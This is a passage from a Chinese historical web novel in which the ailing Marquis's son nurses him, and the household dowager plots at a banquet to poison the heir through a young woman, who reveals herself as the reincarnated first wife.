人虽病着,力气依旧大得惊人,谢霆舟气笑了。
“现在你是我爹,我是你儿子,这是在家里,不是外面。
我爹也说,衣裳湿了就得及时更换,你爹素来疼我爹,所以,这事得听我爹的,明白么?”
忠勇侯被绕晕了,眼珠子都转不动了。
趁他思虑间,谢霆舟替他擦了上身,换了上衣。
要换裤子时,忠勇侯反应过来了,抓紧裤头,“你爹是晚辈,得听我爹的,裤子不能脱。”
大有一副谢霆舟敢脱,他就能垂死病中惊坐起,与他干一架的架势。
忠勇侯病糊涂时,就像寻常人喝醉了一般,又娇又作,都是老侯爷宠出来的后遗症。
同他讲道理是讲不通的,多年前谢霆舟已见识过一回。
因而耐着性子道,“我是谢霆舟,以前我受伤,你也脱过我的衣裳,为我清理伤口。
现在我替你更衣,我们才能扯平,堂堂忠勇侯不能欺负部下。”
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“我不欺负霆舟。”
忠勇侯渐渐松了手,“霆舟是我儿子,不是部下,他自小没了娘,我不能欺负他。
可……可我不是一个好爹,明明我得到过那么多的父爱,自己却做不好霆舟的父亲。”
他握住谢霆舟的手,“是不是爹对你不好,常骂你,你才想立功证明自己?
每次打仗冲前头,爹每次都跟着提心吊胆,生怕你受伤,想说关心的话,最后都变成了骂你的话。”
谢霆舟一只手被他握住,另一手手为他换衣,“上战场是为护国保家,立功是赤诚报国的水到渠成,绝非初衷所求,你不许小看自己的儿子。”
“对,对,对,我的霆舟不是狭隘之人,他有大爱,有大抱负。”
他突然一巴掌打在自己嘴上,“都怪这死嘴,怎么就不知道夸夸你。
我爹就常夸我的,你娘也爱夸人,她常说我是这世间最男人的男人,往后我们的儿子定也顶天立地,铁骨铮铮。
其实她不知,我最娇气爱哭了,第一次杀敌,回来后我躲在被子里哭,是我爹哄了许久。
相看时,我第一眼看中你娘,但听闻你姨祖母不甚满意侯府,我急得半夜赖在我爹床尾哭,不帮我全了这桩婚事,我就不许他睡觉。
后头你娘怀了你,我害怕她生产有危险,却又不得不前往战场,眼泪不知流了多少。
但不敢叫你娘知道一点,我怕你娘得知后嫌弃我……”
裤子换好了,他的话也止住了。
邢泽抓了药来,拿出墨院小灶房熬药,谢霆舟便坐在床边,用玉勺沾了蜂蜜给他润唇。
忠勇侯便又开始了,“你娘走了,我心中愧疚,便想啊,那就把你培养成她喜欢的样子。
因而我不喜你哭,不喜你软弱,对你很是严苛,可我不知你竟受了那么多委屈。”
他侧身蜷缩,抱着谢霆舟的胳膊,呜咽出声,“听兰该恨死我了,我也恨死自己了……”
娄听兰,他原配夫人,世子亲娘的名讳。
叶桢端着药进来时,看到的便是忠勇侯抱着谢霆舟的胳膊,抽抽搭搭的哭的好不凄惨。
谢霆舟一脸无奈。
等药不烫了,他拍忠勇侯,“起来喝药了,再哭营帐外的将士们就能听到了。
届时,他们传到听兰耳中,听兰该笑话你娘们唧唧,另择他婿了。”
哭声戛然而止!
第74章 诡计
叶桢熬好了粥,端了一碗过来。
忠勇侯还没醒,这粥是给谢霆舟的。
先前答应给谢霆舟做素蟹粉,因着忠勇侯生病没做成,叶桢想着他病床前守一夜,应会饿。
一并带来的还有药膏,和一些腌制小菜。
谢霆舟尝了一口,吃出小菜里有菌油,是南边口味,“你自己做的?”
叶桢轻嗯了声,刚到京城,吃不惯这边的东西,柳氏又故意苛待,她和挽星只得自己想办法做些南边的小菜。
“粥在炉上温着,侯爷醒来便可吃些,灶上也留了小菜,若吃得合胃口,可让人去我院子找挽星拿。”
没特指是谁,谢霆舟若想要,叶桢不会吝啬一点小菜。
听出她要离开之意,谢霆舟开口,“你有无听过康乐公主和韩驸马的事?”
叶桢点头。
她先前虽被困后院,但夜里没少出去,康乐公主和驸马的故事她有耳闻。
“兄长可是探听出了付江的事?”
谢霆舟实在喜欢与叶桢说话,他才抛了个头,她便猜到他要说的。
好似心意相通许久的恋人,这种感觉让他觉得嘴里的粥都甜了。
咽下口中蜜糖,他不紧不慢,“驸马是付江寻回来的。”
叶桢微怔,“听闻公主对驸马一往情深,事事以驸马为重。”
付江对康乐有这个恩情,怪不得能让公主府大管家亲自相送。
他这个节点上去找公主,是要借公主的势为柳氏他们报仇,还是谋官?
康乐是皇家公主,有皇家人的气节,不会轻易参与别人后宅之事。
何况,付江又怎敢轻易透露他和柳氏关系,那就是后者了。
“他想留在京城。”
谢霆舟放下勺子,将邢泽探听的事告知了她。
“他应是要在宴会上要我的命,约莫是下毒或刺杀。
侯府世子**,老头子必定迁怒你这个宴会操持者。”
这样叶桢的管家权就保不住,在付江他们眼里,没有管家权和忠勇侯庇护的叶桢,犹如蝼蚁。
谢霆舟说出自己的猜想。
叶桢认同他的推测,不由也坐了下来。
“既是为兄长相看而办的宴,想来他们还得给兄长定个相看人选。”
他们自己不好近身,没准就是让那人动手。
要指使对方做这样重要的事,对方要么是他们自己的人,要么是能被利用的人。
谢霆舟笑,“没错。”
这人是谁,他们只需盯着付江和老夫人便能得知。
谢霆舟云淡风轻。
“为我相看只是幌子,我们的目的是给他们搭戏台,所以,你不必太过费心。”
他趁机同叶桢解释。
“若宴上出现任何问题,及时让人来寻我。”
这话忠勇侯也同叶桢说过。
但叶桢看得出来,忠勇侯是真心想为谢霆舟择妻。
叶桢不敢敷衍。
谢霆舟看她认真神情,心头无奈,只得又说回康乐夫妇的事。
“这世间事从来都是有两面的,付江寻回驸马,得了康乐的感激,以此为自己谋好处。
但他也因此得罪不想让驸马回来的人,比如韩驸马本人。”
叶桢眼眸微亮,等着谢霆舟说下去。
谢霆舟如她的愿,“韩驸马是鲁国公的幼子,才华远胜其兄长。
权贵世家若无例外,惯来都是嫡长子继承家业,其余子嗣则会成为家族的铺路石。
与皇家结亲就是很不错的选择,但对韩子晋本人来说,则是前程尽灭。”
大渊朝的驸马不掌实权,韩子晋一旦尚公主,满腔抱负只能化为空谈。
叶桢听出话外音,“他不想做驸马,故意失踪?”
“起初是否故意不得而知,但他回京后并不愿娶康乐。”
韩子晋被找回来后,鲁国公府对外声称他是失忆,不记得自己身份,故而流落在外多年。
他曾亲耳听到韩子晋对康乐承认,他并未失忆,伤好后不回京是不甘心命运**纵。
大概他以为自己在外躲几年,等康乐嫁了人,他便能如常娶妻,再奔自己的前程,可他没想到康乐会一直等下去。
而谢霆舟更清楚,康乐会等,除了对韩子晋念念不忘,还因那时先皇已驾崩。
龙椅上那位看在皇后面上允康乐活命,保留公主之尊,却绝不允她身后有势。
一个满脑子只有情爱,却嫁不出去,与朝臣没有任何牵扯的公主,才叫皇帝放心。
韩子晋被找回来时,原本忠于先皇的老鲁国公去世,继任的鲁国公是皇帝的人。
他自然乐得一个成全皇妹的好名称,还能让韩家人帮他盯着康乐。
只这些若告知叶桢,以叶桢的聪慧只怕会猜到他身份。
谢霆舟敛了情绪,“韩子晋那边交给我。”
叶桢敏锐地察觉他情绪的变化,再想到邢泽那日的话,她捂唇打了个哈欠。
谢霆舟见她泪光盈盈,以为她犯困了,心软了,“你早些去歇着吧。”
约莫知道忠勇侯的情况,叶桢也没那么担心,她顺势离开,不愿探究谢霆舟的身份。
“小姐,您回来了。”
刚踏进院门,坐在门槛上的朝露起身相迎,“饿不饿,要不要奴婢给您拿些吃的?”
叶桢摇头,“怎的还不去睡?小孩子
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要多睡才长得快。”
“挽星姐姐说我最近长高许多了,只怕二哥见了都会吃惊。”
朝露跟在叶桢身后,迟疑道,“后日是二哥生辰,以前大哥在时,都给我们做生辰面。
小姐,我后日能不能告假去军营外,给二哥送碗生辰面?”
她问得小心翼翼。
叶桢笑,“让挽星陪你去……”
倏然她想到什么,问道,“朝露,你爹当年走镖是在哪里出事的?他如今年岁几何?”
“青州。”
朝露答,“根据我奶捡到他的年纪推算,他如今应是四十上下。”
叶桢心口一跳,都对得上,竟这么巧么?
另一头,叶桢走了没多久,忠勇侯便醒了,是彻底清醒了。
“你怎的在这?”
他问谢霆舟,竟又是什么都不记得了,倒是比上一次好得快。
谢霆舟也放心了,起身,“听说你身子不适,我过来看看,如今你没事,我便回去了。
先前不知你病何时能好,我也没空一直照料你,便让人秘密告知了叶桢。
她担忧你,给你熬了药,又亲自给你熬了粥,忙到刚刚才回,你吃些。”
他不忘替叶桢邀功。
忠勇侯便觉,人生还有指望,起码谢霆舟和叶桢这两个没有血缘的孩子,是关怀他的。
可欣慰了没多久,就从吴冬口中得知了付江入府之事。
心中似烈火灼烧,“告诉叶桢,七日后办宴。”
他又往老夫人处走了一趟,告知她办宴时间,请她帮忙给谢霆舟物色妻子人选。
老夫人见他如往常那般信任自己,满口答应,翌日便出府访友。
忠勇侯忍着情绪又来表了一番孝心和谢意,老夫人毫无怀疑。
连着出门三趟,她和付江选定了一人。
礼部尚书的嫡长女,崔易欢。
今年十九岁,是崔尚书原配夫人所生,曾定过一门亲事,但被继母所生的妹妹抢了去,至今仍待字闺中。
老夫人和崔老夫人相熟,知道这崔家大姑娘是个弱懦又没什么智慧,容易被摆布的姑娘,在崔家过得不如意,想嫁人脱离崔家。
崔家嫌她是拖累,也巴不得早些甩脱这老姑娘。
若她借崔易欢的命,除了谢霆舟,以崔家对崔易欢的态度,只要她给崔家一些好处,他们不会追究。
但这样的儿媳忠勇侯定是不满意的,为了迷惑忠勇侯,老夫人选了好些个京中贵女给忠勇侯。
有吴冬时时汇报,忠勇侯已然知道老夫人计划,心底恶寒,面上却是一片感激。
时间便在母子互相演戏中,来到了开宴这日……
第75章 谢霆舟打扮给叶桢看
这次的宴会规模比上次小上许多,但却更为气派体面。
红缎从侯府大门一路铺到正院,丫鬟婆子小厮清一色的新衣新鞋。
燕窝粥,鱼胶羹被拿来做点心,泡的茶是宫里御赐下来的,连客人们漱口、洗手用的水都是用上好的干花泡制,灶上忙碌的席面更是许多大户人家都难见的珍馐美味。
穷苦百姓见了,定会叹一句奢靡,但今日来的都是京中豪贵,他们只会感叹侯府家底殷实。
知晓此次办宴是为给世子相看的,则觉这是老夫人对长孙婚事的重视。
想着谢霆舟这家世家底,掌中馈的如今也不是柳氏那个继母,而是寡居的叶桢,弟媳怎么都越不过长嫂,许多人不由动了心思。
老夫人对忠勇侯的说法也是如此,“咱家霆舟到底容貌有损,听闻最近在武德司大刀阔斧又得罪不少人。
他年纪的确不小了,这次怎么说也得给他定下一个无论相貌还是品性才情都上佳的女郎,我思来想去,得让侯府的尊贵为他添砖加瓦。
虽开支大些,但都是为了孩子,这做长辈的呀,一生所图不过就是孩子过得好……”
若忠勇侯不知老夫人真面目,定信以为真。
可如今他由这件事,想到了往日不曾留意的,自父亲去世后,母亲就开始奢靡摆排场了。
起初去青州,说不放心侯府,总会回来住半年,那时是听兰掌家,母亲常在他面前感叹,“听兰这孩子当真是京城最好的儿媳,生怕我在青州吃了苦头,这一回来样样都给我最好的。
就是过于奢侈了,母亲想着你们父子博来这富贵不容易,心里总有些不踏实,但听兰在王家被宝贝着长大,也不好叫她来我们家受委屈。”
听兰是他求来的,他更不舍她委屈,听了母亲这话,也只当是听兰的孝心,盼着他们婆媳和睦,便不曾问过听兰。
后头听兰去世,侯府重新由母亲主持大局,母亲又将柳氏给他做了续弦,将侯府交给柳氏,母亲再度回了青州,之后回京就没先前那么勤了。
他又常在外,就算再看到母亲骄奢,做儿子的也不好多想。
现在想来,母亲表里不一,只怕听兰那会在母亲手里也受了不少委屈。
想起原配妻子,忠勇侯总是愧疚伤怀的,但这些情绪毫无用处。
他拿了公务出来处理。
今日来的主要是各家夫人们及她们家中的小辈,不必他招待。
他露了个面,见了几个和老夫人一样辈分的便回了书房,间或听一听下人对宴会情况的汇报。
谢霆舟则在镜前挑衣,红的,蓝的,青的,白的,黑的,紫的已经试了好些套。
没一件满意的。
邢泽和扶光面面相觑,他们的主子何时这般讲究过?
两人心中门清,主子今日这反常是为了穿给少夫人看呐。
可主子身高腿长,身姿挺宽,穿哪一件都好看。
再这么比较下去,若还没一个结果,怕是要怪罪他们兄弟俩不会挑衣服了。
邢泽灵机一动,假意对扶光嘀咕,“哥,你下回别给主子弄这么多颜色的衣裳,颜色一多,眼花缭乱,选择就是困难。
听挽星说少夫人惯爱素白,衣柜大多都是这些颜色,早间起来随手拿一件就成。”
扶光担心弟弟出馊主意,“那是少夫人寡居不便穿别的颜色。”
他就觉得自家主子穿亮色最好看。
这事邢泽还真打听了,坚定道,“少夫人就喜欢素色。”
谢霆舟听了进去,最终挑了一套烟青色锦袍。
这种颜色的长袍,他从前倒是常穿,这些年在边境,几乎以玄色为主。
故而叶桢也是第一次看到穿淡色的谢霆舟,颇有温润如玉的感觉,再想到他面具下那张天姿仙容,若摘了面具,不知要迷倒多少女子,叶桢不由多看了两眼。
谢霆舟便觉得让邢泽接近挽星还是有点用处的,回头得多赏,鼓励他再接再厉。
他这打扮,再加上周身气度也惊艳了不少其他女眷。
尤其崔易欢。
在谢霆舟出现后,她的视线就没从他身上挪开过,老夫人余光打量她,很是满意。
待谢霆舟拜见各位,露面结束后,老夫人让叶桢招呼女眷前往水榭看戏。
今日请的戏班子是曾进宫为皇后唱戏的,在京城很受追捧,女眷们纷纷前往。
崔易欢跟着起身时,桌上茶
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盏不知怎的被带翻,茶水湿了她的衣裳,老夫人让婢女带她去更衣。
她同崔老夫人道,“戏班子排的新戏,今日是初唱,错过可惜,你们先过去吧,老身等崔大姑娘一道。”
崔老夫人约莫猜到她是要同崔易欢说点什么,她本就不甚喜欢大孙女,若她能攀上侯府的亲事,也不枉费崔家养她一场。
可她也清楚,自家这老姑娘怕是难入谢霆舟的眼,侯府老夫人想促成这桩婚事,少不得要用些腌臜手段。
都是后宅混了一辈子的人,要促成一对男女不得不成婚的,无非就是下药肌肤之亲这类手段。
侯府老夫人不心疼自家孙子,她一个外人,还是能得好处的外人,自不会多事。
崔老夫人笑,“听你这样说,我还真是有些心痒了。”
她带着崔家的一众女眷先行去了水榭。
崔易欢刚换好衣裳,房门便被推开。
老夫人笑眯眯打量她,“是个标致秀丽的姑娘,这身衣裳也极衬你。”
衣裙面料是宫里赏下的上等锦缎,裙身用金线勾勒繁复图案,领口点缀细碎宝石,好看又贵气。
是在继母手底下讨生活的崔易欢从不曾穿过的。
她小心翼翼摸着衣裙上的图案,满眼惊艳,“这衣裙太贵重了,等回去清洗干净我再亲自送还于您。”
老夫人笑容更加慈祥,“不过一件衣裳,崔姑娘穿得好看便是与它有缘,送还的话可是太见外了。
以老身和你祖母的关系,别说一件,送你十件八件的也是应当的。”
说罢,她当真吩咐婢女又给崔易欢打包了几件衣裳首饰。
心里则是轻蔑,当真是个没见过世面的,宴上送出去的衣服岂有还回的,难不成她侯府还有人穿她穿过的旧衣不成。
崔易欢受宠若惊,面上推辞,眼底藏不住的贪婪。
“老夫人,您对我可真是太好了,我都不知该如何回报您。”
老夫人便顺势握住她的手,“好姑娘,你瞧我家霆舟如何?”
崔易欢想也不想,“他自是这世间最好的男儿。”
老夫人笑眯了眼,“好,好,好,当真是个有慧眼的姑娘,那你瞧得上他?”
第76章 想做你的平妻
崔易欢点头,“他那样好,我怎会瞧不上。”
想到刚刚见到的人,崔易欢眼里的欢喜藏都藏不住。
老夫人心中得意。
这世道,女子想要改变命运,嫁人是唯一途径。
她就知道像崔易欢这样的,定会上赶着嫁来侯府。
那接下来的事就好办了。
“可我那长孙啊,还没开窍,不知娶妻的好处。”
她叹了口气,“不瞒姑娘,这次的宴会就是为了替他相看。
今日他会出现还是老身和他父亲好说歹说,他才同意,否则啊,他定躲得远远的。
可我那儿媳近来身子不好,老身年纪也大了,眼下还得让寡居的孙媳出来操持家事,实在有点不像样。
若他能娶妻,他的妻子便是正正经经的未来侯夫人,侯府怎还会没有合适的掌家人。”
她又抛出诱饵。
嫁进门便能当家,有几个女子不心动?
果然,崔易欢眼眸灼亮。
老夫人心道果然如打听的那般,是个没什么城府的,心思都挂在脸上。
但也好操纵。
她握紧崔易欢的手,“我瞧姑娘很合眼缘,若我那长孙有福气能娶到姑娘这样的,老身梦里都能笑醒。”
崔易欢垂眸,“可我名声不太好,年岁也不小,实在配不上世子。”
“可这些点恰好是老身看上姑娘的原因。”
崔易欢不解,“老夫人不希望世子娶贤妻吗?”
真是个不会说话的。
老夫人忍住翻白眼的冲动,亲昵地拍了拍崔易欢的手。
“谣传哪能尽信,我家霆舟在外名声也不好,可实则他是个极好的人。
姑娘被夺亲事,没与家人翻脸,可见也是个心善顾大局的。
侯府有今日地位已经够了,霆舟的妻子人选老身不看别的,只图对方能真正对他好。
你们经历相似,又都家中有继母,当更能理解他,更懂得如何心疼他。
好姑娘,你就将我当成你亲祖母,同我说句实话,你可愿意进侯府?往后一心一意对霆舟好。”
崔易欢便跪了下来。
“易欢愿意,易欢指天发誓,会将世子放在首位,事事以他为重,疼他,爱他,护他,若有违誓言,天打雷劈,不得好死,还请老夫人成全。”
她这般毒誓倒是让老夫人怔愣了下。
心道这崔氏女为了嫁进侯府,竟这般豁得出去,倒也算是个有野心的。
有野心又不够聪明,当真是最好的棋子人选。
她也不再绕弯子,拿出一个瓷瓶,“老身为他娶妻的事,也是愁得夜夜难眠。
奈何家有不开窍的蛮牛,只得兵行奇招,这是助兴的,只需往他鼻尖撒一点便可。”
她维持慈爱形象,“你放心,这个对身体无碍,女子也能用,可减轻初次疼痛。”
只要谢霆舟沾了这药,再与女子苟合,必死无疑。
而崔易欢听了她这话,定然也会给自己用些,待他们魂归黄泉,她便命人及时放火,一切痕迹再难查寻。
崔易欢接了瓷瓶,手指紧紧攥着,身子也微微颤抖,“只不知世子之后会不会怪罪?”
老夫人无声冷笑。
人都**,如何怪罪。
面上却是安慰,“霆舟是个责任心重的,只要你们事成,他必定会对你负责,将你娶进门。
你更无需他会怨怪你,男人一旦开了窍,体验了有人知冷知热的好,恨不能将你放在心尖尖上,那还舍得怪罪。”
她担心崔易欢犯怵,临阵退缩,又加筹码,“侯爷说等霆舟成婚,便让他袭爵。
届时,他会随我前往青州修养,霆舟就是新任忠勇侯,更需你协助。”
侯府夫人,还无需伺奉长辈,的确诱惑满满。
崔易欢被她说动,但又有了新的问题。
“世子是战场英雄,定然十分警觉,我该如何给他下药?”
老夫人笑,“前些日我将她母亲的灵位请到了她生前所住的听兰院。
这些时日他都会在午膳时,给亡母送祭饭,期间你有机会,我也会安排人助你。”
为了这一日,她费了不少脑筋才将娄听兰的灵位移出来,又鼓动忠勇侯命令谢霆舟送祭饭。
“可我听说侯爷很在意娄夫人,若我与世子在听兰院做点什么,怕是侯爷会怪我们对娄夫人不敬。”
老夫人突然觉得崔易欢顾虑实在多了些。
但事情已经到了这份上,她只得耐着性子道,“侯爷确实重情重义,但听兰与侯爷不过三两载的情分。
如今过去这么多年,侯爷更在意的是儿子能不能娶妻……”
崔易欢终于被说服,拿着瓷瓶信心满满的出去了。
但老夫人并不放心,叫来下人,“盯着些。”
可别出了变故,若崔氏失败,她就得启动第二套方案。
下人跟着崔易欢到了水榭,看着她在水榭看了一会儿戏,就去了听兰院,鬼鬼祟祟四处溜达,像是踩点一般。
老夫人听了下人回禀,没有多疑,只让下人继续盯着。
却不知,崔易欢在下人看不见的地方,熟门熟路地从听兰院的后门出去,避开人群,一路到了忠勇侯书房外。
忠勇侯是知道老夫人要利用崔易欢的,但他没想到崔易欢会来找他。
原本不打算见,但崔易欢直接交出了老夫人给的药。
“何事?”
忠勇侯打量着崔易欢,容貌中等偏上,眼神坚定,并不像老夫人以为的那般怯懦。
崔易欢任由他打
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量,大大方方道,“这是老夫人给小女的药,要小女用在世子身上。
小女想脱离崔家,但并不想用这等手段,故而大着胆子用这药换取侯爷的庇护。”
“要如何庇护?”
忠勇侯端起茶盏,喝了一口。
却被崔易欢的话呛的险些喷出来。
她说,“小女想做您的平妻。”
忠勇侯艰难咽下口中茶水,脸色黑沉。
崔易欢并不怕她,娓娓道,“小女今日察觉了老夫人的秘密,却未照办,老夫人定不饶我。
崔家人不会为了我得罪老夫人,只有得了您的庇护我才能活命。
小女自不敢高攀,平妻是假的,待时机成熟,小女会假死脱身。
两次宴会,侯夫人都未出现,只怕往后都不会出现。
侯爷如日中天,少不得有人盯着您妻子的位置,小女占了这个位置,也能替侯爷省下一些麻烦。”
忠勇侯眸色一厉,“你知道什么?”
“老夫人四处派人打听我,我心生惶恐,只能也留意老夫人几分。”
崔易欢不慌不忙,微微上前两步,低了声音,“小女便听到老夫人与一男子的对话,才知侯夫人早有外心。
侯爷铁血男儿,自容不下背叛之人,这两次宴会不见夫人便是证明。”
她又将与老夫人的对话告知忠勇侯,“小女几番试探,确定老夫人给的并非寻常情药,而是催命**。
小女并非有意窥探侯府家事,可老夫人寻上了小女,实在是没有母亲庇佑的孩子,活得如履薄冰。”
她叹口气,“素闻侯爷护佑天下百姓,小女亦是百姓一员,处境实在不妙,还请侯爷收留。”
忠勇侯不敢信,他最近被女子骗怕了,担心崔易欢是借此接近他。
但崔易欢没有与老夫人一起害霆舟,这个情他也承。
“此事本侯会处理,若你不放心,本侯可送你离京。”
崔易欢却摇头,“小女暂时还不能离开。”
不等忠勇侯问理由,她继续道,“小女知侯爷顾虑,小女绝非您想的那样。
说来侯爷会觉荒唐,这些年小女常会梦见一身穿铠甲的男子,他唤小女兰儿,让小女在京中等他凯旋。
小女却始终看不清他的相貌,只记得小女梦中叮嘱,此去不系封侯印,但求谢郎平安归。
他亦应我,早日灭寇仇,许君陌上春草青……”
崔易欢眼中垂下一行清泪,胡乱擦去,笑道,“叫侯爷看笑话了,小女实在被这梦困扰多年。
得知明觉大师年底会来京城,小女想寻他解惑,故而暂不得离开,还请……”
啪!
茶盏掉落,碎了一地,忠勇侯满眸震惊的盯着眼前人,“你刚刚说什么?”
第77章 **
崔易欢吓了一跳,结巴道,“小……小女暂不能离京……”
“不是这句。”
忠勇侯打断她,自行念了出来,“早日灭寇仇,许君陌上春草青。”
崔易欢接道,“此去不系封侯印,但求谢郎平安归,也可能是榭亦或者燮。”
“当真是梦里听到的?”
忠勇侯凝眸审视着她。
崔易欢认真点头,“小女知道实在匪夷所思,我同母亲说起此事,母亲也绝不可思议,千叮万嘱我不可外传,免被人当做妖怪。
今日实在走投无路又不甘心余生浑浑噩噩,还请侯爷庇护,也替我保密。”
崔夫人死去多年,早已无从考证。
忠勇侯缓缓坐回椅子上。
当年他出征,听兰拥抱相送,在他耳边说出那句话,他亦承诺征战回来,陪她踏春看景。
所以不是什么榭郎、燮郎,而是谢郎。
两人私下时,她一直这样唤他,他亦常唤她兰儿。
后来听兰香消玉殒,他从不曾同人透露这两句话。
眼前的姑娘却说出了这两句话。
她是母亲为霆舟选的人,却又找上他,“你为何不将老夫人的安排直接告诉世子?”
霆舟亦护得住她。
且他更年轻,更有前途。
崔易欢摇头,“世子和您一样都是英雄,他该有位能与之匹配的妻子。
纵然我与他是假成婚,但外人不知,将来我死遁离开,他到底要落个丧妻的名头,于他再娶妻不利。
而侯爷您想来不会再娶妻,也不惧这名声。”
忠勇侯视线始终盯着她。
良久,他道,“你说的没错,本侯的确无再娶妻的心思,包括平妻。”
他不知这人为何会知晓他和听兰说过的话,可她是崔家大姑娘,不是娄听兰。
且眼前人与谣传差异太大,可见平日是个善于伪装的。
侯府不需要再多个人添乱。
另外礼部崔尚书善钻营,私下拥护二皇子,忠勇侯是皇帝的臣,不愿与之有姻亲关系。
崔易欢脸色刷的一下白了,神情也难掩慌乱。
“小女活到今日不易,小女不想死,更不想奶娘他们死。”
她突然走近,在忠勇侯面前跪下,眼泪落下,“只要侯爷收留,小女愿为妾。
小女若没了,母亲留给小女的几个忠仆定也活不了。”
随着她的行动,淡淡的兰花香味钻入忠勇侯鼻尖。
这味道过去这么多年,忠勇侯依旧觉得熟悉。
他握紧了拳,心头并无表面那般平静。
会说听兰说过的话,用听兰用惯的香,便是刚刚那哭的神态都与听兰一样。
他留意到崔易欢头上的发簪都是兰花样式的,听兰也有类似的。
“你喜兰花?”
听兰喜兰,爱屋及乌,但凡和兰沾边的她都爱。
崔易欢似被忠勇侯的拒绝吓到了,再说话就不及先前那般镇定,甚至有些讨好的意味。
“小女也不知算不算喜欢,许是梦里有人喊小女兰儿,但凡与兰相关的,小女总会下意识选择。
若侯爷不喜,以后小女就不沾了,只求侯爷护我栖梧院性命。”
栖梧院是她在崔家住的院子。
这一点上,她说的是实话,若她出事,她那伪善的父亲定会任由继母处置奶娘他们。
在活命和丢下尊严为妾之间,她选择后者,且侯府有她在意之人,她必须留下。
往后的再徐徐图之。
忠勇侯再问,“你口味如何?喜吃什么?”
崔易欢脸露茫然,不知忠勇侯为何这样问,但如实答道,“小女口味偏辣,爱吃一切辣食。”
忠勇侯眸色越发难镇定。
听兰家乡在中部地带,很能吃辣,更喜辣。
若遇上心情不舒畅,亦或者有什么焦虑之事,给她一顿辣食,她便能雨过天晴。
但在有孕后,她担心对孩子不好,硬生生忍住了,偶尔馋得慌,也只敢让人做一些放在桌上闻一闻,亦或者看着他吃,而后咽口水……
忠勇侯陷入旧绪。
地上的崔易欢却似反应过来般,问道,“侯爷问这些,可是知晓小女的梦?
母亲曾说小女这般,许是投生在她腹中时,孟婆汤喝少了,存了些前世记忆,才以梦的形式出现。”
忠勇侯也生出了这样的念头,眼前人是听兰投胎,但又觉荒唐。
便再试探,“你可知我原配发妻的名讳?”
崔易欢摇头。
女子未出阁前,闺名不可随意告知他人,出阁后,便冠夫姓,彻底没了名字。
她一个晚辈不知已离世二十三人的名字,也属正常。
她眼底澄澈带着点不安。
忠勇侯一字一句道,“娄听兰。”
崔易欢满眸震惊,不可置信道,“那兰儿,谢郎,难道小女梦见的是侯爷与夫人?
这怎么会?梦里的声音与侯爷并不相似……”
当然不相似,那时忠勇侯年轻,又是夫妻情意绵绵交颈低语,而经历岁月沉淀,如今他声音多了厚重威严。
忠勇侯没看出崔易欢有撒谎的痕迹,就被她抓住了裤腿。
“若当真如此,还请侯爷看在娄夫人面上留下小女。
小女向您保证,对您绝无非分之想,只求活命。”
她眼神慌乱,完全没了主见的样子,怯怯抬头,“若侯爷不应,小女只有去求世子这一条路了。”
明明完全不同的两张脸,可忠勇侯就是看到了娄听兰的神情。
他最终应了,“留下后不得生事,否则本侯亲手处置了你。”
若她当真是听兰转世,便是霆舟的母亲,怎能与霆舟有男女之间的牵扯。
尽管如今的霆舟早已不是听兰生下的那个孩子。
崔易欢得了应诺,舒出一口气,欢喜道,“小女绝不给侯爷惹事。”
“侯府的事不得外传。”
忠勇侯依旧沉着一张脸,“另外本侯不想与崔府过近,你只能为妾。”
崔易欢点头如捣蒜,卖弄机灵,“小女从不知侯府有何事,但若老夫人怪罪,也请侯爷替小爷女周全。”
本是要用来**孙子的棋子,摇身成了儿子的妾室,老夫人定恨不能撕碎了她,得找个合适的理由,将这件事圆过去。
她成为忠勇侯的妾室,也需要个由头。
忠勇侯亦有此想法。
没查到老夫人究竟是怎么回事前,还不到与她撕破脸坦白的时候。
便听崔易欢又道,“崔家虽生了我,但几次让
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我险些丢命,情分早已殆尽。
小女想拿回我娘的嫁妆,再与崔家彻底断亲,侯爷可否允小女狐假虎威?”
她得寸进尺,又问得小心翼翼。
全都是听兰的影子,忠勇侯咬着后槽牙,“可,但不得作恶。”
不管这人真是听兰投胎,还是别有用心,放在身边盯着总归保险些。
崔易欢乖巧应下。
忠勇侯便让她先回到宴上去,若有安排再寻人通知她。
老夫人的人还在听兰院外盯视,崔易欢确实该现身了。
她点头出了忠勇侯的书房。
忠勇侯暗地跟着,见她熟门熟路,遇上岔路连个迟疑都没有,一路顺利回到听兰院。
他从暗处找来一黑影,“跟着她。”
顿了顿,又补了句,“莫叫人害了她。”
侯府的布局,除了府中的人透露,外人很难这样清楚,而刚刚崔易欢走的,是听兰生前常走的小道。
自她去世后,这条道虽依旧有下人打理,但极少有人通行。
加之听兰院空了多年,又是从听兰院通往他书房的,就是侯府不少人都不熟悉此路。
可那个女子,却像是走了许多遍一般。
他扶着发妻牌位,“兰儿,真的是你吗?”
另一头,崔易欢出了听兰院便回到了水榭,途径叶桢时,两人视线对上,她朝叶桢微微露出一抹浅笑。
其实她刚对忠勇侯撒了谎。
那并非梦,而是她的前世。
她本是忠勇侯原配妻子娄听兰,死去多年,却不知怎的,前段时间在死去的崔易欢身上醒来。
身为人母,醒来第一件事自然是关注儿子,想护在儿子身边。
可崔家亦是个虎狼窝,活命已耗去她不少精力,要入侯府更非易事。
恰那时,老夫人频繁外出,她费了些心思得知老夫人是想给霆舟娶妻。
外人不知侯府老夫人是何模样,可她死前窥探了老夫人的秘密。
知道那是个和崔家人一样伪善恶毒的老太太,更知她不会真正为霆舟择良妻。
原先的崔易欢怯懦不够聪明,但沉寂多年,她便顺势让人将她从前的名声传到老夫人耳中。
虽引了老夫人注意,但也让叶桢察觉了。
而她并非老夫人最满意的目标。
是叶桢推波助澜,让老夫人选定了崔易欢,叶桢做这些没瞒着她,却也不曾与她联络。
今日是她们第一次见面。
她不知叶桢有什么目的,但对她来说这是一个回到儿子身边的机会,她必须牢牢抓住。
做母亲的纵然换了身体,也不可能以儿子女人的身份出现,她只能再找上忠勇侯。
可男人的心最不牢靠,当年那个满心满眼只有她的人,在她死后很快就娶了续弦,她不知他对自己还有多少情分,因而不敢吐露真相,只敢借梦之说赌一赌。
又在忠勇侯迟疑时,让他看到自己是强装老成。
险险赌赢。
但允诺他不在侯府生事的话,却是要失言了。
当年他亦承诺会护好他们的孩子,可霆舟恶名在外,还毁了容貌,是谢邦对她失言在先。
那便让她这个做母亲的,替自己的孩子讨回公道,亦算一算当年她身死之仇。
第78章 计划接计划,落空又落空
老夫人对崔易欢的心思毫不知情。
快开席时,她让人提醒崔易欢该行动了!
崔易欢便趁人不备,偷偷离了水榭,却在路上遇到了前往灶房的叶桢。
两人同行,叶桢笑问,“崔姑娘为何要入侯府?”
崔易欢反问,“少夫人为何要帮我?”
